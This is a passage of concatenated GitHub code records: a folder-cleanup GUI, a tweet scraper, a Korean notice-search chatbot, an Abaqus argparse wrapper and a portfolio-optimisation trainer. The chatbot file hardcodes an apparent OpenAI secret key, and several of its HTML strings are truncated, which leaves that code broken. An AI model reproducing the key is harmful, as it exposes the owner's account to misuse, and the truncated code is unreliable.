{"api_name": "numpy.mean", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}]} {"seq_id": "14307205299", "text": "import os\nimport PySimpleGUI as sg\n\ndef remove_not_in_both_folder(dirA: str, dirB: str):\n '''\n remove from dirB if not in dirA\n '''\n onlyfiles = [f for f in os.listdir(dirA) if os.path.isfile(os.path.join(dirA, f))]\n onlyfiles = [f.split('.')[0] for f in onlyfiles]\n\n onlyim = [f for f in os.listdir(dirB) if os.path.isfile(os.path.join(dirB, f))]\n for im in onlyim:\n im_name = im.split('.')[0]\n if im_name not in onlyfiles:\n os.unlink(os.path.join(dirB, im))\n\n\nfile_list_column_A = [\n [\n sg.Text(\"Reference Folder\"),\n sg.In(size=(25, 1), enable_events=True, key=\"-Reference FOLDER-\"),\n sg.FolderBrowse(),\n ],\n]\n\nfile_list_column_B = [\n [\n sg.Text(\"Folder\"),\n sg.In(size=(25, 1), enable_events=True, key=\"-FOLDER-\"),\n sg.FolderBrowse(),\n ],\n]\n\n\nlayout = [\n [\n [sg.Column(file_list_column_A)],\n [sg.Column(file_list_column_B)],\n [sg.Button(\"RUN\")]\n ]\n]\n\n# Create the window\nwindow = sg.Window(\"remove_not_in_both_folder\", layout)\n\n\n# Create an event loop\nwhile True:\n event, values = window.read()\n\n\n if event == \"-Reference FOLDER-\":\n Reference_FOLDER = values[\"-Reference FOLDER-\"]\n if event == \"-FOLDER-\":\n folder = values[\"-FOLDER-\"]\n\n\n if event == \"RUN\":\n remove_not_in_both_folder(Reference_FOLDER, folder)\n if event == sg.WIN_CLOSED:\n break\n\nwindow.close()\n", "repo_name": "moolig/utility_gui", "sub_path": "remove_not_in_both_folder.py", "file_name": "remove_not_in_both_folder.py", "file_ext": "py", "file_size_in_byte": 1433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PySimpleGUI.Text", "line_number": 20, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 21, "usage_type": "call"}, {"api_name": "PySimpleGUI.FolderBrowse", "line_number": 22, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 28, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUI.FolderBrowse", "line_number": 30, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 39, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 44, "usage_type": "call"}, {"api_name": "PySimpleGUI.WIN_CLOSED", "line_number": 60, "usage_type": "attribute"}]} {"seq_id": "19246118020", "text": "import csv\n\nimport numpy as np\nimport pandas as pd\nimport json\n\nimport tweepy\n\n# Fill the X's with the credentials obtained by\n# following the above mentioned procedure.\napi_key = \"X\"\napi_key_secret = \"X\"\nbearer_token = \"X\"\n\n# consumer_key = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n# consumer_secret = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\naccess_key = \"X\"\naccess_secret = \"X\"\n\n\n# Function to extract tweets\ndef get_tweets(username):\n # Authorization to consumer key and consumer secret\n auth = tweepy.OAuthHandler(api_key, api_key_secret)\n\n # Access to user's access key and access secret\n auth.set_access_token(access_key, access_secret)\n\n # Calling api\n api = tweepy.API(auth)\n\n # 200 tweets to be extracted\n number_of_tweets = 200\n tweets = api.user_timeline(screen_name=username)\n\n # Empty Array\n tmp = []\n\n # create array of tweet information: username,\n # tweet id, date/time, text\n tweets_for_csv = [tweet.text for tweet in tweets] # CSV file created\n\n # open and read the file after the appending:\n f = open(\"tweets.txt\", \"a\")\n\n for j in tweets_for_csv:\n # Appending tweets to the empty array tmp\n byte_str = j.encode('utf-8')\n # f.write(newStr)\n # str_str = str(byte_str, encoding='utf-8')\n # print(byte_str)\n # break\n tmp.append(byte_str)\n\n f.close()\n # Printing the tweets\n # for tweet in tmp:\n # print(tweet)\n # print()\n return tmp\n\n\n# Driver code\nif __name__ == '__main__':\n # Here goes the twitter handle for the user\n # whose tweets are to be extracted.\n filepath = \"data_original/analisis.csv\"\n df = pd.read_csv(filepath, encoding='utf-8', header=0)\n print(df.columns)\n # print(df)\n #adding real data point\n # \"usuario\",\"op\",\"co\",\"ex\",\"ag\",\"ne\",\"wordcount\",\"categoria\"\n # df = df.append([df, pd.DataFrame(C)])\n npData = df.to_numpy()\n npData = np.vstack([npData, np.array([\"Puplunar\",\"84\",\"55\",\"52\",\"84\",\"81\",\"0\",\"1\"])])\n # npData = np.append(npData, np.array([\"usuario\",\"op\",\"co\",\"ex\",\"ag\",\"ne\",\"wordcount\",\"categoria\"]))\n handles = npData[:,0]\n print(npData[0])\n # print(handles)\n all_tweets = []\n for handle in handles:\n tweets_of_user = []\n try:\n tweets_of_user.append(get_tweets(handle))\n except:\n print(\"Exception with user:\", handle)\n\n all_tweets.append(tweets_of_user)\n\n\n json_path = \"data_original/json_data.json\"\n\n modified_df = pd.DataFrame(npData)\n\n modified_df[8] = np.array(all_tweets, dtype='object')\n modified_df.columns = ['username', 'openness', 'conscientiousness', 'extraversion', 'agreeableness', 'neuroticism', 'wordcount', 'category', 'tweets']\n # modified_df.append(all_tweets)\n # print(modified_df)\n result = modified_df.to_json(json_path,orient='records')\n # parsed = json.loads(result)\n\n # print(all_tweets[0])\n # print(tweets)\n\n", "repo_name": "amitnoelasu/ser594_22fc_project", "sub_path": "wf_datagen.py", "file_name": "wf_datagen.py", "file_ext": "py", "file_size_in_byte": 2949, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tweepy.OAuthHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}]} {"seq_id": "73984854331", "text": "from sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\nimport sys\nimport pandas as pd\nfrom transformers import AutoTokenizer, AutoModelForQuestionAnswering\nfrom kiwipiepy import Kiwi\nfrom kiwipiepy.utils import Stopwords\nimport re\nimport torch\nimport tiktoken\nimport openai\n\n\ntokenizer = AutoTokenizer.from_pretrained(\"Kdogs/klue-finetuned-squad_kor_v1\")\n\nmodel = AutoModelForQuestionAnswering.from_pretrained(\"Kdogs/klue-finetuned-squad_kor_v1\")\n\nquestion = sys.stdin.readline()\n\ndata = pd.read_csv('AI/crawling/notification.csv')\n\ndef clean_content(content):\n lines = content.split('\\n')\n new_lines = [line for line in lines if line.strip()] # 비어 있지 않은 줄만 선택\n new_content = \"\\n\".join(new_lines)\n new_str = re.sub('[^A-Za-z0-9가-힣\\s\\-,(\\).:]', '', new_content)\n return new_str\n\ndef get_answer(question, context):\n inputs = tokenizer(question, context, return_tensors=\"pt\")\n \n with torch.no_grad():\n outputs = model(**inputs)\n \n answer_start_index = outputs.start_logits.argmax()\n answer_end_index = outputs.end_logits.argmax()\n \n predict_answer_tokens = inputs.input_ids[0, answer_start_index : answer_end_index + 1]\n answer = tokenizer.decode(predict_answer_tokens, skip_special_tokens=True)\n \n return answer\n\ndef get_answer_gpt(question, context):\n\n openai.api_key = \"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\"\n\n messages = []\n\n user_content = context + '\\n 위 글을 바탕으로 아래 질문에 답해주세요. \\n' + question\n\n messages.append({\"role\": \"user\", \"content\": f\"{user_content}\"})\n\n completion = openai.ChatCompletion.create(model=\"gpt-3.5-turbo\", messages=messages)\n\n assistant_content = completion.choices[0].message[\"content\"].strip()\n\n return(assistant_content)\n\ndef Find_Title(df, max_score):\n same_score = df.loc[df['점수'] == max_score, ['제목']]\n top_score_list = same_score['제목'].tolist()\n return top_score_list\n\ndef Similar(noti_list,question):\n tfidf_vectorizer = TfidfVectorizer()\n noti_list.append(question) # 입력 문장을 리스트에 추가\n \n # 문장들을 벡터화\n tfidf_matrix = tfidf_vectorizer.fit_transform(noti_list)\n \n # 입력 문장과 다른 문장들 간의 코사인 유사도 계산\n similarity_scores = cosine_similarity(tfidf_matrix[-1], tfidf_matrix[:-1])\n \n # 코사인 유사도가 높은 상위 3개 문장의 인덱스 가져오기\n top3_indices = similarity_scores.argsort()[0][-3:][::-1]\n \n # 상위 3개 문장 반환\n top3_sentences = [noti_list[i] for i in top3_indices]\n \n return top3_sentences\n\ndef create_chunks(text, chunk_size, overlap):\n tt_encoding = tiktoken.get_encoding(\"gpt2\")\n tokens = tt_encoding.encode(text)\n total_tokens = len(tokens)\n \n chunks = []\n start = 0\n while start < total_tokens:\n end = start + chunk_size\n if end > total_tokens:\n end = total_tokens\n chunk = tokens[start:end]\n chunk_text = tt_encoding.decode(chunk)\n chunks.append(chunk_text)\n start = end - overlap\n\n if end == total_tokens:\n break\n\n return chunks\n\ndef main(question, data):\n kiwi = Kiwi(model_type='sbg', typos='basic')\n stopwords = Stopwords()\n \n tokens = kiwi.tokenize(question,stopwords=stopwords)\n \n token_list = []\n \n data['점수'] = 0\n \n for i in tokens:\n if i[1] == 'NNG' or i[1] =='NNP' or i[1] == 'SL':\n token_list.append(i[0])\n for j in range(len(data)):\n if i[0] in data.loc[j]['제목']:\n data.loc[j,'점수'] += 1\n\n chunk_size = 500\n overlap = 10\n chat_response_list = []\n\n if int(data.loc[data['점수'].idxmax()]['점수']) > 0 :\n max_value = max(data['점수'])\n if ((data['점수'] == max_value).sum()) == 1:\n processed_message = \"📌 {0} 키워드로 검색한 내용입니다.\".format(token_list)\n processed_messange_2 = f\"✨ 공지제목 : [{data.loc[data['점수'].idxmax()]['제목']}]✨\"\n small_content = clean_content(data.iloc[data['점수'].idxmax()]['content'])\n \n processed_link = data.loc[data['점수'].idxmax()]['url']\n result = f'\"링크'\n token_lenth = str(len(tokenizer.tokenize(small_content))) \n \n if len(tokenizer.tokenize(small_content)) > 512:\n chunks = create_chunks(small_content, chunk_size, overlap)\n for chunk in chunks:\n if all(index in chunk for index in token_list):\n chat_response_list.append(\"-\" + get_answer(question, chunk) + \"\\n\")\n else:\n pass\n \n chatBotMessage = f\"👉 ChatGCT가 찾은 정보입니다.
❗️{chat_response_list} ❗️\"\n processed_link = data.loc[data['점수'].idxmax()]['url']\n result = f'\"링크'\n print(processed_message+ \"

\" + chatBotMessage + \"

\" +processed_messange_2 +\"

\" + \"

\"+ result)\n \n else:\n chat_response = get_answer(question,small_content)\n chatBotMessage = f\"👉 ChatGCT가 찾은 정보입니다.
❗️{chat_response} ❗️\"\n processed_link = data.loc[data['점수'].idxmax()]['url']\n result = f'\"링크'\n print(processed_message+ \"

\"+chatBotMessage + \"

\" +processed_messange_2 + \"

\" + \"

\"+ result)\n else:\n processed_message = \"📌 {0} 키워드로 검색한 내용이 다수입니다\".format(token_list)\n noti_list = Find_Title(data,max_value)\n similar_list = Similar(noti_list,question)\n \n for i in range(len(data['제목'])):\n if data.iloc[i]['제목'] == similar_list[0]:\n top_similar = data.iloc[i]\n \n processed_messange_2 = f\"✨ 유사도 분석결과 [{top_similar['제목']}] 공지사항이 가장 유사도가 높습니다!! ✨ \"\n small_content = clean_content(top_similar['content'])\n\n processed_link = top_similar['url']\n result = f'\"링크'\n\n \n if len(tokenizer.tokenize(small_content)) > 512:\n chunks = create_chunks(small_content, chunk_size, overlap)\n for chunk in chunks:\n if all(index in chunk for index in token_list):\n chat_response_list.append(\"-\" + get_answer(question, chunk) + \"\\n\")\n else:\n pass\n \n chatBotMessage = f\"👉 ChatGCT가 찾은 정보입니다.
❗️{chat_response_list} ❗️\"\n processed_link = data.loc[data['점수'].idxmax()]['url']\n result = f'\"링크'\n print(processed_message+ \"

\" + chatBotMessage + \"

\" +processed_messange_2 + \"

\" + \"

\"+ result)\n \n else:\n chat_response = get_answer(question,small_content)\n chatBotMessage = f\"👉 ChatGCT가 찾은 정보입니다.
❗️{chat_response} ❗️\"\n processed_link = top_similar['url']\n result = f'\"링크'\n print(processed_message+ \"

\"+ chatBotMessage + \"

\" + processed_messange_2 + \"

\" + \"

\"+ result )\n else:\n processed_message = \"📌 질문과 일치하는 공지를 찾지 못했습니다.😭
✔️수강신청 ✔️학사공지 관련 다른 공지를 물어봐주시면 찾아볼게요!😆\"\n print(processed_message)\n \n\nmain(question, data)\n", "repo_name": "xxng1/CapstoneDesign_CHATGCT", "sub_path": "Tokenizer.py", "file_name": "Tokenizer.py", "file_ext": "py", "file_size_in_byte": 8674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 15, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 15, "usage_type": "name"}, {"api_name": "transformers.AutoModelForQuestionAnswering.from_pretrained", "line_number": 17, "usage_type": "call"}, {"api_name": "transformers.AutoModelForQuestionAnswering", "line_number": 17, "usage_type": "name"}, {"api_name": "sys.stdin.readline", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 33, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 46, "usage_type": "attribute"}, {"api_name": "openai.ChatCompletion.create", "line_number": 54, "usage_type": "call"}, {"api_name": "openai.ChatCompletion", "line_number": 54, "usage_type": "attribute"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 73, "usage_type": "call"}, {"api_name": "tiktoken.get_encoding", "line_number": 84, "usage_type": "call"}, {"api_name": "kiwipiepy.Kiwi", "line_number": 105, "usage_type": "call"}, {"api_name": "kiwipiepy.utils.Stopwords", "line_number": 106, "usage_type": "call"}]} {"seq_id": "28003014897", "text": "import sys\nimport os\nodbmodel_version = \"[% version %]\"\nodbmodel_date = \"[% date %]\"\n\n# 0.01 Erste Version\n# 0.02 09.02.2012 kleinere Aenderungen an Hilfetext\n# 0.1 04.02.2013 Zusaetzlicher Parameter 'postfunction' implementiert\n\nexternal_lib = os.path.realpath(os.path.dirname(sys.argv[0])) + \"/../lib\"\nsys.path.append(external_lib)\n#print sys.path\nimport argparse\nfrom model import *\n\n# Definieren der Kommandozeilenparameter\nparser = argparse.ArgumentParser(description='a tool for extracting model data from an abaqus output database file.',\n epilog='author: alexander.vogel@prozesskraft.de | version: '+odbmodel_version+' | date: '+odbmodel_date)\nparser.add_argument('--odb', metavar='ODBFILE', type=str, required=True,\n help='abaqus output database file')\nparser.add_argument('--instance', metavar='INSTANCE', action='store', default='PART-1-1',\n help='part of the model e.g. PART-1-1')\nparser.add_argument('--output', metavar='OUTPUT', action='store',\n help='name of output variable. e.G. coordinates, label')\nparser.add_argument('--postfunction', metavar='POSTFUNCTION', action='store',\n help='name of function to manipulate retrieved values.')\nparser.add_argument('--interactive', \"-i\", action='store_true', default=False,\n help='interactive mode.')\n\n# Exklusivgruppen der Parameter\ngroup_2 = parser.add_mutually_exclusive_group()\ngroup_2.add_argument('--elset', metavar='ELSETNAME', action='store',\n help='name of element set')\ngroup_2.add_argument('--nset', metavar='NSETNAME', action='store',\n help='name of node set')\ngroup_2.add_argument('--nid', metavar='NID', action='store',\n help='node id')\ngroup_2.add_argument('--eid', metavar='EID', action='store',\n help='element id')\n\nargs = parser.parse_args()\n\nergebniswert = model(args)\n", "repo_name": "alexvogel/odbmodel", "sub_path": "src/odbmodel.py", "file_name": "odbmodel.py", "file_ext": "py", "file_size_in_byte": 1956, "program_lang": "python", "lang": "kn", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}]} {"seq_id": "25502119267", "text": "import pickle\r\nimport torch\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom model.gru import GRU\r\nfrom model.transformer import Transformer\r\nfrom model.tcn import TCN\r\nfrom model.sam import SAM\r\nfrom model.loss import max_sharpe, equal_risk_parity\r\nfrom train.utils import save_model, load_model\r\n\r\n\r\nclass Trainer:\r\n def __init__(self, config):\r\n self.config = config\r\n self.device = \"cuda\" if self.config[\"USE_CUDA\"] else \"cpu\"\r\n model_name = self.config[\"MODEL\"]\r\n if model_name.lower() == \"gru\":\r\n self.model = GRU(\r\n self.config[\"N_LAYER\"],\r\n self.config[\"HIDDEN_DIM\"],\r\n self.config[\"N_FEAT\"],\r\n self.config[\"DROPOUT\"],\r\n self.config[\"BIDIRECTIONAL\"],\r\n self.config['LB'], self.config['UB']\r\n ).to(self.device)\r\n if model_name.lower() == \"transformer\":\r\n self.model = Transformer(\r\n self.config['TRANSFORMER']['n_feature'],\r\n self.config['TRANSFORMER']['n_timestep'],\r\n self.config['TRANSFORMER'][\"n_layer\"],\r\n self.config['TRANSFORMER'][\"n_head\"],\r\n self.config['TRANSFORMER'][\"n_dropout\"],\r\n self.config['TRANSFORMER'][\"n_output\"],\r\n self.config['LB'], self.config['UB']\r\n ).to(self.device)\r\n if model_name.lower() == \"tcn\":\r\n hidden_size, level = 5, 3\r\n num_channels = [hidden_size] * (level - 1) + [self.config['TCN']['n_timestep']]\r\n self.model = TCN(\r\n self.config['TCN']['n_feature'],\r\n self.config['TCN']['n_output'],\r\n num_channels,\r\n self.config['TCN'][\"kernel_size\"],\r\n self.config['TCN'][\"n_dropout\"],\r\n self.config['TCN'][\"n_timestep\"],\r\n self.config['LB'], self.config['UB'],\r\n ).to(self.device)\r\n base_optimizer = torch.optim.SGD\r\n self.optimizer = SAM(\r\n self.model.parameters(), base_optimizer, lr=self.config[\"LR\"]\r\n , momentum=self.config['MOMENTUM']\r\n )\r\n self.criterion = max_sharpe\r\n\r\n\r\n def _dataload(self):\r\n with open(\"data/dataset.pkl\", \"rb\") as f:\r\n train_x_raw, train_y_raw, test_x_raw, test_y_raw = pickle.load(f)\r\n\r\n with open(\"data/date.pkl\", \"rb\") as f:\r\n test_date = pickle.load(f)\r\n self.train_x_raw = train_x_raw\r\n self.train_y_raw = train_y_raw\r\n self.test_x_raw = test_x_raw\r\n self.test_y_raw = test_y_raw\r\n self.test_date = test_date\r\n\r\n def _scale_data(self, scale=21):\r\n self.train_x = torch.from_numpy(self.train_x_raw.astype(\"float32\") * scale)\r\n self.train_y = torch.from_numpy(self.train_y_raw.astype(\"float32\") * scale)\r\n self.test_x = torch.from_numpy(self.test_x_raw.astype(\"float32\") * scale)\r\n self.test_y = torch.from_numpy(self.test_y_raw.astype(\"float32\") * scale)\r\n\r\n def _set_parameter(self):\r\n self.LEN_TRAIN = self.train_x.shape[1]\r\n self.LEN_PRED = self.train_y.shape[1]\r\n self.N_STOCK = self.config[\"N_FEAT\"]\r\n\r\n def _shuffle_data(self):\r\n randomized = np.arange(len(self.train_x))\r\n np.random.shuffle(randomized)\r\n self.train_x = self.train_x[randomized]\r\n self.train_y = self.train_y[randomized]\r\n\r\n def set_data(self):\r\n self._dataload()\r\n self._scale_data()\r\n self._set_parameter()\r\n self._shuffle_data()\r\n\r\n def dataloader(self, x, y):\r\n dataset = torch.utils.data.TensorDataset(x, y)\r\n return torch.utils.data.DataLoader(\r\n dataset=dataset,\r\n batch_size=self.config[\"BATCH\"],\r\n shuffle=False,\r\n drop_last=True,\r\n )\r\n\r\n def train(self, visualize=True):\r\n train_loader = self.dataloader(self.train_x, self.train_y)\r\n test_loader = self.dataloader(self.test_x, self.test_y)\r\n\r\n valid_loss = []\r\n train_loss = []\r\n\r\n early_stop_count = 0\r\n early_stop_th = self.config[\"EARLY_STOP\"]\r\n\r\n for epoch in range(self.config[\"EPOCHS\"]):\r\n print(\"Epoch {}/{}\".format(epoch + 1, self.config[\"EPOCHS\"]))\r\n print(\"-\" * 10)\r\n for phase in [\"train\", \"valid\"]:\r\n if phase == \"train\":\r\n self.model.train()\r\n dataloader = train_loader\r\n else:\r\n self.model.eval()\r\n dataloader = test_loader\r\n\r\n running_loss = 0.0\r\n\r\n for idx, data in enumerate(dataloader):\r\n x, y = data\r\n x = x.to(\"cuda\")\r\n y = y.to(\"cuda\")\r\n self.optimizer.zero_grad()\r\n with torch.set_grad_enabled(phase == \"train\"):\r\n out = self.model(x)\r\n loss = self.criterion(y, out)\r\n if phase == \"train\":\r\n loss.backward()\r\n self.optimizer.first_step(zero_grad=True)\r\n self.criterion(y, self.model(x)).backward()\r\n self.optimizer.second_step(zero_grad=True)\r\n\r\n running_loss += loss.item() / len(dataloader)\r\n if phase == \"train\":\r\n train_loss.append(running_loss)\r\n else:\r\n valid_loss.append(running_loss)\r\n if running_loss <= min(valid_loss):\r\n save_model(self.model, \"result\", \"hb\")\r\n print(f\"Improved! at {epoch + 1} epochs, with {running_loss}\")\r\n early_stop_count = 0\r\n else:\r\n early_stop_count += 1\r\n\r\n if early_stop_count == early_stop_th:\r\n break\r\n\r\n if visualize:\r\n self._visualize_training(train_loss, valid_loss)\r\n\r\n return self.model, train_loss, valid_loss\r\n\r\n def _visualize_training(self, train_loss, valid_loss):\r\n plt.plot(train_loss, label=\"train\")\r\n plt.plot(valid_loss, label=\"valid\")\r\n plt.legend()\r\n plt.show()\r\n\r\n def backtest(self, visualize=True):\r\n self.model = load_model(self.model, \"result/best_model_weight_hb.pt\", use_cuda=True)\r\n\r\n myPortfolio, equalPortfolio = [10000], [10000]\r\n EWPWeights = np.ones(self.N_STOCK) / self.N_STOCK\r\n myWeights = []\r\n for i in range(0, self.test_x.shape[0], self.LEN_PRED):\r\n x = self.test_x[i][np.newaxis, :, :]\r\n out = self.model(x.float().cuda())[0]\r\n myWeights.append(out.detach().cpu().numpy())\r\n m_rtn = np.sum(self.test_y_raw[i], axis=0)\r\n myPortfolio.append(\r\n myPortfolio[-1] * np.exp(np.dot(out.detach().cpu().numpy(), m_rtn))\r\n )\r\n equalPortfolio.append(\r\n equalPortfolio[-1] * np.exp(np.dot(EWPWeights, m_rtn))\r\n )\r\n\r\n idx = np.arange(0, len(self.test_date), self.LEN_PRED)\r\n performance = pd.DataFrame(\r\n {\"EWP\": equalPortfolio, \"MyPortfolio\": myPortfolio},\r\n index=np.array(self.test_date)[idx],\r\n )\r\n index_sp = pd.DataFrame(\r\n pd.read_csv(\"data/snp500_index.csv\", index_col=\"Date\")[\"Adj Close\"]\r\n )\r\n index_sp = index_sp[self.test_date[0] :]\r\n performance[\"index_sp\"] = index_sp[\"Adj Close\"] * (\r\n myPortfolio[0] / index_sp[\"Adj Close\"][0]\r\n )\r\n performance.to_csv(\"result/backtest.csv\")\r\n\r\n if visualize:\r\n self._visualize_backtest(performance)\r\n self._visualize_weights(performance, myWeights)\r\n\r\n result = performance.copy()\r\n result[\"EWP_Return\"] = np.log(result[\"EWP\"]) - np.log(result[\"EWP\"].shift(1))\r\n result[\"My_Return\"] = np.log(result[\"MyPortfolio\"]) - np.log(\r\n result[\"MyPortfolio\"].shift(1)\r\n )\r\n result[\"Index_Return\"] = np.log(result[\"index_sp\"]) - np.log(\r\n result[\"index_sp\"].shift(1)\r\n )\r\n result = result.dropna()\r\n\r\n expectedReturn = result[[\"EWP_Return\", \"My_Return\", \"Index_Return\"]].mean()\r\n expectedReturn *= 12\r\n print(\"Annualized Return of Portfolio\")\r\n print(expectedReturn)\r\n print(\"-\" * 20)\r\n volatility = result[[\"EWP_Return\", \"My_Return\", \"Index_Return\"]].std()\r\n volatility *= np.sqrt(12)\r\n print(\"Annualized Volatility of Portfolio\")\r\n print(volatility)\r\n print(\"-\" * 20)\r\n print(\"Annualized Sharp Ratio of Portfolio\")\r\n print((expectedReturn / volatility))\r\n print(\"-\" * 20)\r\n print(\"MDD\")\r\n mdd_df = result[[\"EWP\", \"MyPortfolio\", \"index_sp\"]].apply(self._get_mdd)\r\n print(mdd_df)\r\n\r\n def _visualize_backtest(self, performance):\r\n performance.plot(figsize=(14, 7), fontsize=10)\r\n plt.legend(fontsize=10)\r\n plt.savefig(\"result/performance.png\")\r\n plt.show()\r\n\r\n def _visualize_weights(self, performance, weights):\r\n weights = np.array(weights)\r\n ticker = pd.read_csv(\"data/return_df.csv\", index_col=0).columns\r\n n = self.N_STOCK\r\n plt.figure(figsize=(15, 10))\r\n for i in range(n):\r\n plt.plot(weights[:, i], label=ticker[i])\r\n plt.title(\"Weights\")\r\n plt.xticks(\r\n np.arange(0, len(list(performance.index[1:]))),\r\n list(performance.index[1:]),\r\n rotation=\"vertical\",\r\n )\r\n plt.legend()\r\n plt.savefig(\"result/weights.png\")\r\n plt.show()\r\n\r\n def _get_mdd(self, x):\r\n arr_v = np.array(x)\r\n peak_lower = np.argmax(np.maximum.accumulate(arr_v) - arr_v)\r\n peak_upper = np.argmax(arr_v[:peak_lower])\r\n return (\r\n x.index[peak_upper],\r\n x.index[peak_lower],\r\n (arr_v[peak_lower] - arr_v[peak_upper]) / arr_v[peak_upper],\r\n )\r\n", "repo_name": "hobinkwak/Portfolio-Optimization-Deep-Learning", "sub_path": "train/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 10105, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "model.gru.GRU", "line_number": 20, "usage_type": "call"}, {"api_name": "model.transformer.Transformer", "line_number": 29, "usage_type": "call"}, {"api_name": "model.tcn.TCN", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 50, "usage_type": "attribute"}, {"api_name": "model.sam.SAM", "line_number": 51, "usage_type": "call"}, {"api_name": "model.loss.max_sharpe", "line_number": 55, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 60, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 83, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.set_grad_enabled", "line_number": 130, "usage_type": "call"}, {"api_name": "train.utils.save_model", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "train.utils.load_model", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 180, 